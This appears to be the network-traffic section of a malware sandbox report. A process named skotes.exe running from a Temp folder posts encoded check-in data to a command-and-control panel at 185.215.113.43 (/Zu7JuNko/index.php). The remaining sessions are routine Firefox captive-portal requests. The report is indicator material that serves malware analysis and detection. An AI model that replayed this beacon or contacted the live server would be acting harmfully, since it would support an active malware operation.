Nov 23, 2024 03:22:40.425760984 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:41.843687057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50092	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:43.621802092 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:45.008047104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50097	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:43.891906977 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:45.072714090 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66881 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:22:45.110377073 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:45.444494009 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66882 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50111	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:45.386646032 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50113	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:45.583178043 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:46.669595957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73584 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:22:46.768444061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:47.083581924 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73584 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:22:47.210813999 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:47.525605917 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73585 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:22:48.440315008 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:48.762662888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73586 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:22:52.265578985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:52.641506910 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73590 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:02.701543093 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:03.564743996 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:03.896564007 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73601 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:13.911262989 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:14.869218111 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:15.184501886 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73613 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:15.221769094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:15.538844109 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73613 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:16.410257101 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:16.724870920 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73614 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:25.173810005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:25.496561050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73623 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:35.504760027 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:44.401078939 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:44.716670990 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73642 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:44.883816957 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:23:45.198729038 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73643 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:23:55.208174944 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:05.409651995 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:07.098845005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:24:07.413675070 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73665 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:24:17.503268003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:27.705318928 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:37.906670094 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:48.110538960 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:58.308558941 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:25:28.683533907 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:25:29.000309944 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73746 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:25:45.883135080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:25:46.197720051 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73764 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50114	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:45.583282948 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:46.760538101 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:22:46.874072075 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:47.207096100 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66884 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:22:48.099360943 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:48.432976007 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66885 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:22:51.888601065 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:52.221143961 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66889 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:02.298954010 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:03.224639893 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:03.559751034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66900 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:13.609507084 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:14.524765015 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:14.865256071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66911 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:14.885988951 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:15.218471050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66912 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:16.073626995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:16.407331944 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66913 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:24.836354971 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:25.170640945 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66922 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:35.203020096 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:23:44.064508915 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:23:44.397665024 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66941 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:44.535716057 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
